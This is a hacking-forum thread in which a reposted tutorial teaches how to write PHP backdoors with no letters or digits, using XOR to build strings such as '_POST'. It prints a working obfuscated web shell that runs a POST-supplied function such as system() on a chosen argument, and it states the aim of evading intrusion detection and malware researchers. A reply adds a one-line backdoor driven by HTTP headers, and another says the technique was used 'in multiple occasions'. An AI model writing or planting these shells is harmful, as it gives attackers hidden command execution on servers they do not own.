How To Write Nonalphanumeric PHP Backdoors

How To Write Nonalphanumeric PHP Backdoors - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: How To Write Nonalphanumeric PHP Backdoors (/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors)

Pages: 1 2 3

How To Write Nonalphanumeric PHP Backdoors - BreShiE - 02-28-2014

This is Starfall's tutorial on a competing Hacking Forum. I have her permission to post this. Insperation for posting this came from the NTP Script that was leaked, which was encoded in XOR. https://www.sinister.ly/Thread-Leak-NTP-amplified-DoS-script-for-booters

-----------

This tutorial is my attempt at entrance to Legion.
In it, I will cover how to write non-alphanumeric PHP backdoors. This requires a bit of prior knowledge.
You will need to know:

PHP
Logic
How to use curl or at least some kind of HTTP request editor (if you're going to make a strange backdoor)

You'll also need to know the mathematical concept behind the XOR operation (^ in PHP).

As a quick primer, I'll go over what that does. XOR takes two bits and compares them, then generates a new bit depending on the result. If the bits compared are the same, the result bit is 0. If they're different, the result bit is 1. In PHP, this comparison is done bit-by-bit with two bytes.
Example:

Code:
A B    A XOR B
 0 1  1
 0 0  0
 1 1  0

Mathematically, XOR is associative. This means if C = A XOR B, then A = B XOR C and B = C XOR A.
XOR also is commutative, and has an identity property. XORing a bit with 0 always returns itself, and XORing a bit with itself always returns 0.
This crap will be important later, when our backdoor decodes itself.
To find values to use in your code, try this:

PHP Code:
<?php
echo "A" ^ "}"; ?>

The above example will return <. Because XOR is associative, we now know that "<" ^ "}" = "A", and can generate an A without using any alphanumeric characters.

We'll need to go over a few more ideas first, that may not be obvious to some people. PHP is a weakly typed language, meaning we can abuse its typing a bit.
For example, we can cast strings as functions, ints as strings and booleans as ints.
Example:

PHP Code:
$_++; // This will throw a warning, suppressable with the @ operator.
// Because an undefined variable's value is null, and null==false==0, we can add 1 to it and create a number without using any numbers.
$__="<"^"}"; // This is "A".
$__("stuff"); // A is an undefined function so this will error and die. I don't care. It still shows that we can call strings as functions.
$___=!$_; // This will be !1 = !true = false 

Now, why would we want to make a non-alpha PHP backdoor, you might ask? Well, there are a few reasons. Mainly we would want to bypass an IDS and confuse the hell out of malware researchers, but there are many other reasons I could think of.

The basic idea is to create some useful strings like "_POST", "system", "call_user_func_array", or whatever we want to do in our backdoor, then call them with user input as parameters, all without using a single letter or number in our code. We can do this using the XOR operator and other bitwise shifts if we so desire.

A rather oversimplified example of a nonalpha PHP backdoor is as follows:

PHP Code:
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
/* we have to encapsulate our $__ in {}s so we don't confuse PHP.
Without these, it will return $("_POST"[0]) which is "_", instead of our input.
*/
?>

We can consolidate $__ into a single line, making this code much harder to read, like so:

PHP Code:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); 

We now have a basic obfuscated PHP function-call backdoor. But what if we need to call a function with 2 or more parameters? I won't spoon feed this, but we can use the same ideas to check if the length of our $_POST array is greater than two, and then use a ternary statement to run our code, like so.

PHP Code:
@$__!=@!_?@$___(${$_}[$____],${$_}[$__]):@$___(${$_}[$____]); 

Code intentionally broken because skiddies gonna skid.

To actually use the backdoor above, we'd need to send POST variables as such:
0=function name we want to call, such as system() or readfile().
1=parameters, the command we want to run, file we want to read or whatever.
If there's anything I missed or that you'd like me to add to this, please let me know, and please provide feedback. Thanks.

Am I cool yet?

RE: How To Write Nonalphanumeric PHP Backdoors - Adorapuff - 02-28-2014

And now my brain hurts...

RE: How To Write Nonalphanumeric PHP Backdoors - Alan Turing - 02-28-2014

If only I could fucking understand this.

RE: How To Write Nonalphanumeric PHP Backdoors - void - 02-28-2014

(02-28-2014, 11:42 PM)VolPlus Wrote: If only I could fucking understand this.

Why you reading it if you don't know PHP or programming for that much?

@OP, great tutorial, however, you should go into a deeper understand and analysis of what each piece of code is doing so users can improvise and better understand as well as opposed to being spoon fed. Knowing PHP can get you through this, but if they're learning or are curious, it'd be better to have more analysis. Good tutorial.

RE: How To Write Nonalphanumeric PHP Backdoors - Equinox - 02-28-2014

(02-28-2014, 11:42 PM)VolPlus Wrote: If only I could fucking understand this.

The post is in English, is it really that hard to understand? You seem to be pretty capable of speaking it.

RE: How To Write Nonalphanumeric PHP Backdoors - Alan Turing - 02-28-2014

(02-28-2014, 11:46 PM)void Wrote: Why you reading it if you don't know PHP or programming for that much?

@OP, great tutorial, however, you should go into a deeper understand and analysis of what each piece of code is doing so users can improvise and better understand as well as opposed to being spoon fed. Knowing PHP can get you through this, but if they're learning or are curious, it'd be better to have more analysis. Good tutorial.

I didn't mean it in a rude way, as if the tutorial was worthless, I meant this would be an awesome read if I only understood PHP and the works behind it.

Sorry for the mis communication

(02-28-2014, 11:46 PM)Duubz Wrote: The post is in English, is it really that hard to understand? You seem to be pretty capable of speaking it.

I'm well aware the post is in English. Is that what I'm struggling with? No.

I meant, this would be a really good read if I knew PHP, I never said the tutorial was so poorly written I wasn't even able to read it. Wink2

RE: How To Write Nonalphanumeric PHP Backdoors - infiniteMax - 03-03-2014

Amazing tutorial, nice job OP. I have used this in multiple occasions and its nice to see someone who also has interest in this.

RE: How To Write Nonalphanumeric PHP Backdoors - w00t - 03-03-2014

If you don't know PHP, just take this as a primer on PHP obfuscation, as that is more or less the end goal.

RE: How To Write Nonalphanumeric PHP Backdoors - superMAUS - 05-05-2014

Not sure if its possible to create a more fishy looking 'discrete' PHP shell. If I stumbled upon this as a sysadmin I doubt I would consider it as safe.

As a wise user once suggested:

Code:
@$_SERVER['HTTP_CONTENT'](@$_SERVER['HTTP_LENGTH'])

Also considering the fact that its against other hackers, I much prefer RyanC's technique (which he stole from Starfall :3) because with XOR enconding its going to be pretty easy to decypher.

Spoiler:
Then again ..its pretty badass.

RE: How To Write Nonalphanumeric PHP Backdoors - Z0le - 05-13-2014

This isn't as hard as it looks if it's well readed , Any ways , You can have alook on the "Exclusive or " or the "XOR" operator here , http://en.wikipedia.org/wiki/Exclusive_or#Truth_table